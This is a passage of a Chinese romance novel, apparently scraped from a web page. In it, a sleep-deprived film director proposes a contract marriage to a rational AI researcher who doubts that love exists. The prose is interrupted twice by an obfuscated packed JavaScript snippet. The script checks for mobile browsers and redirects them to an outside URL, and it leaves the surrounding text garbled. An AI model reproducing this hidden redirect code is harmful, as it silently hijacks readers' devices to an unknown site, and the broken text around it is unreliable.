《他以为的她的他》 1. 灵感 凌晨三点。 江逢灯眼睛盯着三块并排的屏幕。左边是调□□面,中间是剪辑时间线,右边实时播放画面。 葛瑞思敲了敲她后背:“导演,配乐小样发你邮箱了啊。陈老师说如果方向没问题,他下周交全片谱子。” 江逢灯点开音频文件。 “告诉陈老师,第二主题进得太早。观众的情绪还没沉下去,别急着推。” 葛瑞思在身后笑了一声:“也就你敢这么挑陈老师的刺儿。人家拿过绿洲最佳原创音乐。” “所以他更该知道问题在哪儿。”江逢灯终于从屏幕前转过椅子,乱七八糟揉了一把自己的脸。 “江导,要不您先回吧?”助理小吴顶着同款熊猫眼,声音飘忽,“最后这段音效明早……不对,今早十点前我肯定监督大家调完。” 江逢灯再看了眼监视器上的画面:雨夜,小巷。 她已经盯着这几个镜头看了十分钟,还是觉得哪里不对。 “风声。”她突然说。 “啊?” 江逢灯把音轨拉出来:“风声太干净了。雨夜,风是卷着杂物的。塑料袋,树叶之类的,你去找点真实的环境音,别用音效库。” 小吴认命地点头:“行。” 江逢灯拍拍她的肩,抓起椅背上的外套,走到门口时回头:“九点前发我。” “您不是九点有约?” “所以九点前。”她推开门。 车驶出办公楼时,天还是浓稠的墨蓝,只有天际线吐出一点点白。 江逢灯瘫在后座睡过去。 早上8点47分,司机把车停在桐园,江逢灯感觉自己的脑子还在路上没跟过来。 摇下车窗,她对着后视镜扒拉了两下头发,镜子里的人眼睛底下挂着两团青黑。脸也没来得及洗,她胡乱用袖子抹了把脸,推开车门就往外冲,结果腿有点软,撑着车门站了两秒,等那阵晕眩过去。 下车处是一条安静的林荫道,两旁是高大的梧桐,树冠在空中合拢,滤下阳光。 这里五六年前才开发,有山有湖,风景自然是好,就是实在偏远。开发时裴家投了钱,地产商按裴伊的要求建了挨着的两院,裴伊连通后一边当作住处,一边用作非正式的工作室,共通后的院子巨大,每次江逢灯过来都感慨:不养狗真是可惜了。 走到门口,江逢灯刚摸出手机,门开了。 裴伊的助理乔可走了出来,二人打了个招呼,乔可离开。 庭院之后还有个水庭,空旷,摆着一架钢琴,江逢灯第一次来的时候弹了首小星星,裴伊啧啧称奇,说真是给黄河清老师丢人现眼——黄河清是江逢灯的母上,是位钢琴家。 左边是裴伊的工作区。右边是他的住处。 江逢灯差点一头撞在从右边出来的打扫阿姨身上。阿姨准备离开,正在穿外套,看了她一眼吓一跳:“姑娘,你这是……” “活着,还活着。”江逢灯摆摆手,踩着飘忽的步子往左走。 “有人吗——”江逢灯拖着声音喊了一句。 “这儿。”声音从最里面传来。 江逢灯晃过去,这一户全部被打通,有墙但没有门。 室内和记忆里一样,整面落地窗对着远处的湖,阳光慷慨地洒满屋内的一切。 裴伊坐在一张宽阔的原木桌前,身后是整面墙的书架。桌上除了电脑和几叠文件,还摆着个小小的生态缸,几条灯鱼在水草间悠游。 “早。” 裴伊坐在办公桌前,抬起头跟她打个招呼—— 结果这一抬就再没放下去,他忍不住笑:“你看起来像被连夜审讯了三天。” 江逢灯走过去坐他对面,脑袋直接搁在桌子上:“差不多。刚把新片的第三幕磨完。” “《无声火》?” “嗯。”她有点意外,“你知道片名?” “你工作室的公众号上周发了预告海报。海报设计不错,但字体选得有问题,衬线体配那种粗粝的影像,冲突感太刻意了。” 江逢灯也笑了,但脑袋还是不抬:“您老真是眼观六路。” 裴伊打开旁边的纸袋递给她,里面是一个还温热的可颂,“你肯定没吃早饭。” 江逢灯接过,咬了一口。酥皮在嘴里碎裂,黄油香混着杏仁片。她幸福地眯起眼:“哪家的?” “我自己烤的。” 她差点噎住。 裴伊嘴角很轻地扬了一下:“骗你的。邻居送的,他是蓝带毕业的。好吃吗?” 江逢灯又咬了一大口:“好吃啊,你要是有这手艺早改行了。” 裴伊把另一杯包装仔细的饮品推给她再接话:“改行卖面包?” 江逢灯没回话,因为她接过喝一口、又喝了一口、再喝了一口,还是忍不住问:“我可能太累了……这是什么啊?我怎么喝不出来味道。” “是热水。” 江逢灯难以理解,一杯热水打包在这么高级的纸杯里干什么,也问了出来:“……你是什么意思呢?” 裴伊面色不改:“你眼下的乌青告诉我,再摄入咖啡因,你的心脏就会跳出胸腔。” “夸张。”但江逢灯还是再喝了口,然后比了个拇指,“放心吧,我撑到跟你聊完没问题。” 说完才完全支起身子,揉了揉眼睛。视线聚焦后,她看清了裴伊今天的样子,白色衬衫,袖口挽到手肘,领口松了一颗扣子。头发大概是早上洗过,看起来很清爽。像个正常作息的人类。 这对比让江逢灯更困了。 于是她自顾自燃起来!拍了一下桌子:“开始上工!” “你那个AI宣传片,我按你说的,写了三个版本。你先选择一下哪一个,我们再来聊对应的剧本。第一个是科幻寓言,讲AI觉醒后帮人类找回失去的情感,俗但保险。第二个是伪纪录片,跟拍你们团队七十二小时,捕捉真实瞬间,这个董森之非常擅长。第三个……” “第三个是纯概念片。没有对白,只有影像和音乐。讲一个算法如何在一片混沌中识别出美。” 裴伊等她说完才开口:“第三个。” 江逢灯抬起头:“确定?那个最抽象也最难拍。而且甲方通常不喜欢抽象的东西,只喜欢看得懂的。” “我需要的就是看不懂的东西。Pupil下个月要发布情 感计算模型3.0,这个版本的核心突破,就是让AI不再只做逻辑判断,而是开始拥有审美偏好。这个片子不用解释技术,而是展现技术所能触及的感受。” 江逢灯看着他,他说这些话的时候,眼睛很亮,一种确信的光。她太熟悉这种光了,每次她找到想拍的故事,眼睛里也会有这样的光。 她坐直身子,从包里翻出电脑:“那行,那我们聊聊预算和周期。我得先说明,概念片烧钱,因为很多镜头需要定制……” 江逢灯叽里呱啦说了快五分钟。 “江逢灯导演。”裴伊打断她。 “嗯?” “你下午还有事吗?” 江逢灯愣了下,看眼时间,9点40分,想了想今天的日程表,下午三点半点要和制片人开会,五点得去片场看布景,晚上七点…… “没事。”她说。 裴伊看着她,江逢灯被他看得有点心虚,正想再说点什么。 他终于开口:“你知道人在极度疲劳时,额叶功能会下降,导致说谎技巧变差吗?” 江逢灯扯了扯嘴角:“哈!我演技没那么糟吧?” “相当糟。”他站起身,“我带你去对面的客房睡会儿吧,睡醒了我们再聊剧本。” “我真没事……” “你有。你的瞳孔在散大,这是脑供氧不足的表现。再聊下去,我担心你要么晕倒在我这儿,要么答应一些清醒后肯定会后悔的预算条款。这对你我都不划算。” 江逢灯还在拒绝:“不行不行,你好不容易腾出时间。我知道你日程排得满,明天又要飞苏黎世开会……” “我下午没事。”裴伊说。 “你上周还说你这季度忙得想把自己复制成两个。” “那是上周。今天下午刚好空出来了。去吧,别在这儿硬撑。” 江逢灯挣扎了三秒钟。理智告诉她应该保持专业,至少把合作要点过完;但身体很诚实,她现在看裴伊都有重影了。 她又一阵晕眩,不得不闭上眼睛。 再睁开时,裴伊已经拿着她的杯子往外走:“床单刚被阿姨换过。衣柜里有干净T恤,自己拿。” 江逢灯挣扎了三秒:“就两小时,两小时后叫我。” “不叫。你醒了就自己过来。” “裴伊……” 他声音里带着很淡的笑意:“江导,你再磨蹭,宝贵的睡眠时间就要在讨价还价中耗尽了。” 江逢灯投降了。 住处的风格和对面相似,但多了生活痕迹。这一户虽然是住处,但也只有两间房,一间主卧一间客房,好认,因为主卧关着门、客房敞着门。 江逢灯踢掉拖鞋,和衣倒进床里。 睡眠吞没一切。 她睡醒的时候听到门外有人聊天。 声音隔着门板,模模糊糊的,能听出是裴伊还有另一个陌生的男声。她摸出手机看时间,11点40,她居然睡了快三个小时。 江逢灯轻手轻脚爬起来,走到门边。 外面的说话声还在继续。 男声嗓门挺大:“所以你到底看了没啊?你妈给你选了那么多候选人,照片我瞥了一眼,个个盘靓条顺,家世学历都没得挑。” 然后她听见裴伊的声音,平静无波:“还没呢。” “那你刚刚那么认真在看什么呢?”男声问。 “剧本。” “剧本?大哥,你妈在给你选老婆,你在这儿看剧本?” “项目剧本,江逢灯醒了要找我聊这个。” “江逢灯!?是我知道的那个吗?她在哪儿呢?啊?” “你声音再大点就要把她叫醒了。” “你居然让人睡这儿了啊?!你留人过夜啦?裴伊你可以啊!” “她熬了通宵来和我谈工作,我借她客房睡个回笼觉。” 男声笑得更欢:“少来!你什么时候对合作伙伴这么体贴了?赶紧的,你带回去见阿姨啊,保准她乐开花。你妈不是正愁你没对象吗?这多好!” 江逢灯贴在门板上,屏住呼吸。 裴伊说:“她不行。” “为什么?” “江逢灯有喜欢的人。她值得和真正喜欢的人在一起。而我需要的是互不打扰的合作关系。这样才公平。”裴伊的声音很轻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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江逢灯看向裴伊:“你要被包办婚姻了?”她声音尽量轻快。 裴伊抬起眼看她:“没影的事。” 周航把纸笔递给江逢灯再抢答:“那可不是,千儿八百个影子在你身后追呢,你看不见啊?裴伊他妈说他该结婚了。如果他再不主动找,他妈就要给他爸下慢性毒药,每天掺一点在咖啡里,直到裴伊结婚为止。” 江逢灯签完递还,目瞪口呆。 周航幸灾乐祸地补充:“咱们伊阿姨是药剂师出身,说到做到。” “我想看。”江逢灯脱口而出。 裴伊挑眉:“看什么?看我妈给我爸下药?” “昂!从催婚到反抗到下毒未遂!裴总,让我拍吧,我免费给你家拍部家庭伦理纪录片。” 裴伊看着她兴奋的脸,嘴角弯了一下:“让你费心了,她不会真下药的。” “为什么?” “因为我爸从不在家吃饭,在家里喝的每一口水也都必须自己亲自倒,防得很彻底。” 江逢灯笑出声。她走到裴伊对面的椅子坐下,托着下巴:“那你就不用答应你妈妈了啊。拖着呗,反正你爸很安全。” “那可能也不行。”他说。 “为什么?” 空气安静了一瞬。 周航不允许安静:“如果裴伊再不结婚,伊瞧就要被伊阿姨强制性嫁给裴伊了。” 江逢灯怔住。 伊瞧这个名字她听过。裴伊的妈妈伊雪晴资助了很多孩子,伊瞧是其中一个。特别争气,考上了北大,毕业后进了裴家的酒店集团,从基层一路做到管理层。江逢灯记得有次去裴家送东西,见过伊瞧一次,伊瞧看向裴伊的眼神里写着爱。 “我记得伊阿姨很喜欢她。”江逢灯说。 “是啊,她聪明踏实,懂感恩。伊阿姨觉得她是最合适的儿媳人选。裴伊拒绝过两次,伊阿姨说如果裴伊找不到更合适的,绝不能拒绝第三次。她说感情可以培养,但合适的人错过了就没有了。”周航说到这儿自己也难得的叹了口气,带着一种恨铁不成钢的无奈冲裴伊开口,“你说说你也是的。你看你学习好有什么用?从小到大都是第一名有什么用,现在公司做得风生水起有什么用,快三十了,还得被包办婚姻。” “二十八。”江逢灯纠正。 “四舍五入!”周航理直气壮,“再看我,虽然成绩一直很差,大学还差点没毕业,但我找到了soulmete啊!真正的灵魂伴侣啊!” “soulmate.”裴伊纠正。 “啥啊?” “你刚说的单词读错了。” 又是一阵沉默。 然后周航幽幽地说:“裴伊,你这样是找不到老婆的。” 裴伊不置可否:“你还是学习学习吧,至少得把求婚时的单词拼对吧。” 江逢灯憋笑憋得肚子疼。 周航气急败坏,拿了游戏机和签名就告辞! 空间内安静下来。 她们又回到工作室那一户对剧本,对得倒是快,结束时才下午一点。江逢灯约裴伊一起吃午饭,裴伊摇摇头,说一会儿他妈妈过来找他喝下午茶。 这话已有送别的意味,但江逢灯却没动,反而声音轻快:“裴伊,你看我怎么样?” 2. 概念 窗外的阳光挪了一点位置,落在裴伊面前的生态缸上,灯鱼甩着尾巴游过光带,光斑投在天花板上晃动,这是一处很生动的造景,江逢灯忍不住拿手机拍了一张。 裴伊看着她,脸上没什么表情,像是没听懂,手指在桌面上轻敲一下——江逢灯和他合作了三年,知道这是他在思考的动作。 “什么怎么样?”他声音和刚才没什么区别。 江逢灯托着下巴,手肘支在桌上,让自己看起来尽量放松,她甚至笑了一下:“我说,我当你的结婚对象怎么样?对了,我得先问问,你对于结婚对象的要求是什么?要长得好看?要家里有钱?还是事业稳定?” 裴伊往后靠进椅背,双手交叠放在腿上,这个姿势让他看起来更像在谈判桌上。 “你是认真的吗?”他问。 “当然,这种事上我怎么会开玩笑。” 裴伊点点头:“我对于结婚对象没有那些要求,只需要她不爱我、且不会爱上我。” 江逢灯努力让语气轻松:“……为什么?你不爱她不就够了吗?为什么还要要求对方不能爱你?” 裴伊解释:“和一个爱我的人在一起,于我而言会是一种负累。我需要回应我无法理解也无法维持的情感需求。而和一个明确不爱我的人合作,”他看向江逢灯,眼神清澈见底,“关系干净,权责清晰,目标一致。这是最优解。” 江逢灯继续挣扎:“如果对方的爱不需要你回应呢?爱是很慷慨的。” 裴伊摇摇头:“世界上不存在不需要受者回应的感情。爱是很自私的。” “万一,我是说万一啊!万一你某天也爱上了她呢?就日久生情你听过的吧?会有这个可能性的吧?人是很复杂的动物对吧?爱情是很特别的对吧?你总要给爱一个机会对吧?万一呢?当然啊我说了是万一啊!爱情还是很美好的你说对吧?” 江逢灯一边啰嗦,一边拿起桌上那杯已经凉透的水,正要喝一口,被裴伊制止,他起身去为她倒热水,倒完放到江逢灯手边再回答:“很难产生这个万一,因为我并不相信爱情。” 江逢灯接过但没喝:“为什么?” 裴伊靠在桌边:“我认为爱情是一种幻觉。而幻觉是可以被拆解的。给你看一张照片,刺激你的视觉皮层;给你听一段音乐,激活你的听觉神经;给你讲一个故事,触发你的共情机制。爱情的感觉就制造出来了。如果这些还不够,还可以配合化学手段。血清素、多巴胺、催产素,按比例调配,理论上能模拟出任何强度的心动。既然爱情可以被拆解,那它还有什么特别的?” 江逢灯看着裴伊,看着他那双干净得不像话的眼睛。这双眼睛能看懂复杂的算法,能拆解艰深的论文,能在数据海洋里捕捉到规律,但它拒绝去看那些没有意义的部分。 她知道的,她一直都知道他是这样想的。 但听他如此清晰的宣判爱情的无意义,还是手脚冰凉,她扯出一个笑:“所以像你这样的人,是绝对不会爱上一个人的对吧?” 裴伊给出的答案依然理性:“基于现有数据和自我观测,这个概率极低。” 江逢灯和他不一样,她极端感性,又从事的是艺术行业,听完心里突然冒出一个念头:是因为你周围充斥着利益结合、门当户对、或是一地鸡毛。你见过的爱情都抱有目的。你没见识过爱情真正动人的样子。 这个念头让她莫名有些难过,她释放了不合时宜的感性,开始了不合时宜的观察,给出了不合时宜的分析。 她几乎脱口而出:“你父母的感情好吗?” “江导演,”他的语气依旧客气,“我们还在讨论合作意向的阶段。这个话题有点太隐私了。抱歉。” 江逢灯的脸颊有些发烫,是因尴尬,她连忙摆手:“该说抱歉的是我,是我冒昧了。忘了它,我们还是说回正题。” 她是一个很感性的人,但同时也是一个很聪明的人,或者说,正因为感性,所以喂养了她的聪明。江逢灯明白,这是一个太好的机会,她一定要抓住。 她一脸愉快地开口:“裴伊,照这么说来,岂不是越发证明没有比我更合适的结婚对象了。第一,咱俩认识三年,合作过三次,每次相处都很愉快。为人可以装、处事很难装。而我们是在做事中熟悉,所以你熟悉我、我也熟悉你。” 裴伊还是站在她旁边,靠在桌子上低头看她,眼睛里笑意漾出来,江逢灯看得有点呆。还是裴伊提醒她:“接着说,第二呢?” “第二,我其实想要拉你的投资拍一切我想拍的电影,我图你的钱。这样提前把我的所图告诉你,会让你更安心吗?” 裴伊点点头。 “第三——” 她顿了顿,眼睛直视他。 “第三,我妈也催我结婚,虽然没你妈那么戏剧性,但也很烦人。而你应该也知道,我心里有爱慕着的人,所以我不会对你产生不必要的感情,不会越界,不会纠缠。如果你找一个对你抱有期待、或者对婚姻有浪漫幻想的人,那才真是灾难。这笔账怎么算都是我性价比最高。对吧?” 裴伊看着江逢灯,眼神认真得不带任何暧昧;“江逢灯,我们需要明确共识:我们讨论的是合约婚姻,但它并非假结婚。一旦登记,它在法律上就是完全真实且有效的婚姻关系。” “这意味着,在协议存续期间,它在权利、义务、社会关系上对你我形成真实的约束。除了我们之间明确不包含爱情、以及不养育子女外,它在外界看来、在法律层面,就是一段标准的婚姻。我们会有共同的法律身份、可能需要共同应对的财务责任、以及无可避免的社会审视与家庭互动。你会成为我的妻子,我会成为你的丈夫。必要时刻,我会作为配偶签你的手术同意书,同样,你也具备这个权利。我们彼此还拥有相互继承权。” “所以,”他总结道,“尽管结了也还是可以离,但这不是一个可以随时轻松退出的游戏。它会实实在在地占用你人生中的一段时光,并可能影响你在此期间的其他选择。你真的想清楚,要把自己置入这样一种绑定状态吗?” 江逢灯听着,脑子却是自动屏蔽了所有的风险分析,只回响着那句话——“你会成为我的妻子,我会成为你的丈夫。” 从裴伊嘴里对她说出来的这句话。 尽管他说的如此理性、甚至带着警示意味,但她却还是能想象出那个场景:法律文件上,她们的名字并列;在向旁人介绍时,他会说“这是我太太”;在需要共同出席的场合,她们会自然而然地被看作一个整体。 这比她原先预想的还要好上太多,几乎像是一个她偷来的美梦。 压下心头翻涌的悸动,迎上裴伊审视的目光,江逢灯脸上的笑容灿烂又笃定:“你担心婚姻绑定我会让我后悔,可我根本不怕被绑定啊。首先,你可比我有钱太多了,相互继承权和财产分割什么的,我完全不会吃亏啊。其次—— “其次,我心里已经装满了一个不可能的人,绑定,对我来说不过是帮我更心安理得地停留在原地——虽然可能也没什么结果。但至少,我绝不会因为被一段合约婚姻束缚而感到痛苦,因为我根本没打算也没余力开始任何新的关系。” 裴伊没有立刻回答。他看着她,眼神从她的眼睛移到她眼下那片乌青,又移回她的眼睛。 “这样不公平。”他说。 “哪里不公平?” 裴伊说:“你有爱的人,却要和一个不爱的人走入一场婚姻。这对你不公平,对你爱的那个人也不公平。” 江逢灯忍不住笑了,笑得很疲惫。 幸好她足够憔悴,可以在此刻把一切低落的情绪,都怪罪给劳累的身体,怪罪给繁忙的工作。 “裴伊,你不觉得恰恰是因为这样才公平吗。” 江逢灯总算喝了一口水,还好,还是温热的:“我爱的人不会爱我,所以我不需要为他守节——这话听起来真古老啊——我也不需要等待什么奇迹。我的感情是我的事,他的选择是他的事。” 裴伊皱了皱眉,这个表情在他脸上很少出现,“怎么会?” “什么怎么会?” “你说你爱的人不爱你。”裴伊说,“怎么会?” 江逢灯这次笑出了声。 她摇摇头,头发散下来几缕,她随手拨到耳后:“这有什么怎么会的?我又不是人民币,不爱我那很正常啊。世界上每天都有成千上万的人爱而不得,多我一个不多。” 裴伊沉默了一会儿才开口:“你应该继续争取他,而不应该在这里和我聊婚姻大事才对。” 江逢灯说得很平静:“我争取过了。或者说,不需要争取。爱不爱一个人,有时候看一眼就知道。他不爱我。” “也许你判断错了。” “我没有。” “你怎么确定?” “我就是确定。我拍了这么多年电影,最擅长的就是观察人。他不爱我,这一点我很清楚。” 裴伊想了想又说:“你也许还会爱上别人,但婚姻会让你失去尝试新可能的机会。我担心你会很快厌倦这种安排,这样对你我都不好。” 江逢灯摇摇头:“不会的。我这辈子只会爱他,不可能再爱上别人了。” “这么笃定?” “嗯。” 结果裴伊的眉毛又皱起来,江逢灯发现他今天皱眉的次数比过去一个月加起来都多。 裴伊实在是不解:“那么我十分疑惑,为什么你如此笃定他不会爱你?难道他是gay?” 江逢灯差点被自己的口水呛到。她咳嗽了两声,抬起头看着裴伊那张一本正经的脸,突然很想笑,事实上她也确实笑了,笑得肩膀都在抖。 笑了好一会儿她才停下来:“你就当他是吧。” 裴伊看着她:“当他是?” 江逢灯点点头:“对大多数人来说,性取向是个非常直观且合理的不爱的理由。” 裴伊果然被带偏了思路,他思考了几秒:“但如果是这个原因,你一开始就会直接说明。你用了‘就当’这个词,说明真实原因更复杂,或者更难以启齿?” 江逢灯皱皱鼻子,佯装不满:“裴伊,有没有人说过,跟你聊天有时候压力很大?非要拆解得这么清楚吗?” “抱歉,是我过界了。”裴伊最终点了点头,没再追问。 阳光现在完全照在生态缸上了,缸里的水草微微晃动,鱼群像一群游动的星星。 裴伊问:“所以你真心建议我和明知道不会爱上我的你结婚。你要做这个合作项目?” 江逢灯纠正他:“是和明知道不会爱上你、而且你也不会爱上的我结婚。这是双向的,裴伊。我不爱你,你也不爱我,这才是这个项目能合作的前提。” 裴伊走到落地窗前,窗外是那片湖,午后的阳光在水面上铺开一层金。远处有鸟飞过,翅膀划开空气,留下看不见的轨迹。 江逢灯坐在原地,看着他的背影。白衬衫,黑色的裤子,站得笔直。她突然想起很多年前第一次见他——不是三年前第一次合作的时候,是更早,是十二年前,早到她几乎以为那是一场梦。 十六岁的裴伊和现在很不一样,那时候他身上有种不耐烦的少年气。而她呢,十岁,因为过敏满脸红疹,像只不敢见人的小老鼠。 那是在裴家的一场慈善晚宴上。 她因为严重的过敏,左右脸颊上布满怎么也消不下去的红疹,又痒又难看,根本不想见人。 但家中照顾了江逢灯多年的阿姨这周告假回家,母亲因她前段时间差点被拐的经历格外紧张,坚持要带她在身边。 于是晚宴上,大人们谈事,孩子们被聚在花园的游乐区,由专人看管。黄河清不愿意让女儿离开自己视线,伊雪晴只好让裴伊过去和她们一起呆着,并且跟安保说了格外照顾江家的女孩。黄河清想了想,既然有裴伊陪同,再加上裴家的安保是信得过的,多少安了心。 江逢灯独自躲在角落的秋千上,恨不得隐形。 可偏有讨人厌的小男孩发现了她的异常,围过来指着她笑:“丑八怪!你的脸烂了!你是不是中毒了?” 她越缩越小,男孩却变本加厉想推她。还没碰到,一个身影就插了进来、攥住男孩的手腕——是脸上写满了不耐烦的裴伊——他被母亲嘱托过来看着点孩子们。 “跟她道歉。”裴伊声音很冷。 小男孩挣扎着不肯,嘴里还不干不净。裴伊二话没说从装饰用的百合花上扯了段彩绳,三两下把那吵嚷的男孩的手腕捆住,挂在了旁边的树杈上。 男孩吓得哇哇大哭,一边哭一边喊:“她就是丑八怪!她身上有毒!她脸都烂了!” 江逢灯被这阵仗和辱骂激得眼泪直掉,自暴自弃喊回去:“我就是有毒!我毒死你!我现在就要毒死你!”说着就要往男孩那边冲。 裴伊转回头把她拦住,江逢灯哭得惊天动地,裴伊简直一个头两个大……只好在她面前蹲下,语气硬邦邦的,但说的话却不一样:“你脸没有烂,你也没有毒,这只是过敏。估计你家里人已经带你看过西医了,那么你需要再看看中医,明天我让人带你去看,可以吗?” 江逢灯抽噎着点点头,又怯生生地问:“那我会不会把别人毒死?” 裴伊被这句话逗得笑了一下:“不会。” 或许是他那一瞬间的笑意给了她勇气,也或许是眼泪模糊了视线,让她觉得这个救了她的哥哥好看得像画里的人。 她小声说:“哥哥你真好看,我能亲你一口吗?” 裴伊的脸立刻拉下来了,站起身就想走。 江逢灯慌了,以为他果然也嫌弃自己,伸手就拽住他的衣角,眼泪又涌出来:“你也怕我毒死你是不是?你也觉得我是丑八怪,所以不肯亲我是不是?” 挂在树上的男孩见状,一边蹬腿一边附和:“肯定是啊!谁不害怕你啊!你毒毒毒!谁碰了你都要发烂!” 他的团伙们也跟着大喊大叫,言语霸凌江逢灯。 江逢灯哇的一声—— 被哭得心烦意乱,旁边的小孩又不停吵嚷,十六岁的裴家少爷转回身,在江逢灯还没反应过来时,往她左脸的红疹处亲了一下,又往右脸的红疹处亲了一下。 “亲了,行了吧。再哭就真不帮你找医生了。”裴伊对江逢灯说完再对着那群男孩说,“再说一句我把你们的嘴绑起来挂树上。”再对着已经在树上的那个说,“你的脸也烂了。” 大家连忙去看,那个男孩的脖子脸都已红肿,是很显著的过敏症状——绑他的绳子用来扎了百合花,男孩对百合过敏。 安保怕出大事,连忙把人放下来联系救护车送去医院。 裴伊陪着江逢灯和其他小孩看了一会儿露天电影。应该是裴伊很喜欢的一部电影,所以在江逢灯看不懂时,裴伊也有耐心给她讲。 那晚赴宴的人很多,孩子也多。 裴家势大,大家自然都认识裴伊。 而裴伊不会特意去记住一个脸上过敏、哭得稀里哗啦、根本看不清模样的小女孩。 记忆中的画面褪去,江逢灯看着眼前二十八岁裴伊的背影。 那背影转过身:“我需要考虑。” “考虑什么?” “考虑合约婚姻的法律效力与风险规避。我们需要一份合同,明确双方的权利义务、财产分割、解除条件。也要考虑双方家庭,需要编造一个相识相恋时间线,并且确保这个版本在所有人那里都一致。还需要考虑长期共处时的问题,虽然互不干涉,但既然要演戏,总会有需要配合的场合。” 江逢灯听得目瞪口呆,想说“你是不是想太多了”,话到嘴边又咽了回去。 因为这就是裴伊,爱情对他来说是个课题,婚姻对他来说是个项目。 “你已经在思考具体执行方案了?” 裴伊看着她:“不然呢?既然你提出了一个可行的解决方案,我自然要评估它的风险和收益。婚姻不是儿戏,哪怕是协议婚姻。” “我以为你会拒绝。” “我为什么要拒绝?”裴伊走回了桌边,“你提出的方案逻辑自洽,解决了我的诉求,同时为你提供了你需要的东西。这是一个有效的合作提案,我会好好考虑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026092|194411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江逢灯只好站起来说:“好,那你考虑。” 说完自己准备先离开。 “你接下来去哪儿?”裴伊问。 江逢灯看了眼时间:“回工作室,下午三点半要和制片人开会。” “我送你。开会前我们先去吃个饭?” 江逢灯立刻摆手:“不用不用,我喊司机来接我就行。一会儿伊阿姨还要来找你喝下午茶呢。” 裴伊却已经拿起车钥匙:“考虑是双向的。我说了我在考虑,那么我希望江小姐你也在认真考虑。” 江逢灯一愣:“我在考虑啊。” 裴伊拿起外套:“考虑不应该只停留在嘴上。合约婚姻也是婚姻,我们需要确认彼此能不能相处。如果连一顿饭都吃不到一起,那这个合作还没开始就已经失败了。” 他穿好衣服,替她拿起包再转身看她:“所以,把这顿饭当成一次约会试试看?” 江逢灯僵在原地。 约会。 这两个字从裴伊嘴里说出来,有种诡异的违和感。就像听见一台计算机说“我今天想吟首诗”一样。 “约会?”她重复了一遍。 裴伊点头:“我们需要练习如何像情侣一样相处。从最基础的开始,一起吃饭,聊天,观察对方的习惯和喜好。” 他说得那么理所当然,江逢灯无法反驳。 她挣扎了一下:“可是,你妈妈不是要来找你喝下午茶吗?” 裴伊带着笑:“我妈妈要是知道我在和结婚对象约会,当然不会来打扰。她只会立刻取消所有行程,并且在未来三个月内绝不过问我的私生活,前提是她相信我真的在约会。” 他示意江逢灯先出门。 江逢灯脑子里一片混乱。觉得自己像是在玩一个突然切换了规则的游戏,明明刚才还在严肃地讨论合同条款,下一秒就被拉去排练爱情戏码。 但她还是走了出去。 电梯下行的时候,江逢灯突然开口:“裴伊。” “嗯?” “你以前约会过吗?” “没有。”裴伊说。 “一次都没有?” “一次都没有。如果目的是互相了解,工作合作已经足够。如果目的是生理需求,我不需要。如果目的是情感满足,我也不需要。” 江逢灯转过头看他,他站在电梯的另一侧。 “那你现在为什么要约会?”她问。 “因为我觉得你需要,作为未来我最亲密的一位合作伙伴,我必须要考虑你。” 电梯到达一楼,门开,裴伊先走出去,很自然地伸手挡了一下电梯门,等江逢灯出来才放下。这个动作做得流畅,像是做过无数次,但江逢灯知道,这只是他的教养,和对象是谁无关。 “想吃什么?”裴伊发动车子。 “随便。” “没有随便这个选项。告诉我你的偏好。中餐西餐?辣的不辣的?环境要安静还是热闹?” 江逢灯想了想:“安静点的吧。我头疼,不想去人多的地方。” 裴伊点点头。 午后的阳光有些刺眼,江逢灯从包里翻出墨镜戴上。 世界一下子暗了几个度,但反而舒服多了。 她靠在椅背上,“你下午真的没事?” “真的没事。下午原本的安排就是和我妈喝茶,现在取消了。” “那你晚上呢?” “晚上有个电话会议,九点开始,四十分钟左右。” “然后呢?” “然后处理邮件,看论文,睡觉。” “每天都这样?” “差不多。偶尔有应酬,但很少。” 江逢灯侧过头看他。他开车的姿势很标准,双手放在三点和九点方向,目视前方,车速平稳。 “你不觉得无聊吗?”她问。 “不觉得。工作很有意思。” “除了工作呢?” 他想了想:“除了工作……读书,运动,看电影。这些都有意思。” “不觉得缺了点什么?” “江逢灯。”他说。 “嗯?” “你是在采访我吗?” 江逢灯笑了:“算是吧。毕竟我们可能要结婚,我总得了解一下我未来的丈夫是什么样的人。” “那你应该问更实际的问题。比如我每天几点起床,是否有暴力倾向,对家务的容忍度是多少。这些才是同居时会遇到的实际问题。” “同居?我们还会同居?”江逢灯惊得差点站起来,被安全带绑了回去。 裴伊很奇怪的看她一眼:“我们当然会住在同一个住所,不过你放心,第一,住所的位置由你决定;第二,你绝对安全,我不会碰你;第三,我也很忙你也很忙,事实上我们见面的机会并不多;第四……” 江逢灯怕他越说自己就越兴奋、使得真心暴露,连忙打断他:“那些可以慢慢了解!有个问题我确实想不明白,正好趁现在问问你。” “你问。” “一个像你这样,不相信爱情的人,为什么会选择人工智能的情感计算作为研究方向?这听起来有点矛盾。这有助于我理解你的行为逻辑。” 车子在红灯前停下。 “正是因为深入研究过,所以才不相信。” 江逢灯挑眉:“什么意思?” 绿灯亮了,车子继续前行。 “情感,无论是人类的还是试图让机器模拟的,本质上都是一套复杂的信号处理与反馈系统。研究得越深入,越能发现其中的规律性、可诱导性和可预测性。所谓的独一无二、不可言说,在足够的数据和合适的模型下,都可以被拆解。” “那么,回到你的问题。当我们能够用算法复现依恋、偏好甚至牺牲时,它作为人类独有的神性或神秘性的一面就消解了。这反而证明了,情感是可以被引导、被塑造,甚至被设计的。既然如此,为这样一种可操控的系统,我难以投入期待。” 江逢灯听着,心里那点荒凉感又漫上来:“那你不觉得,这样拆解之后,就失去它的美感了吗?” 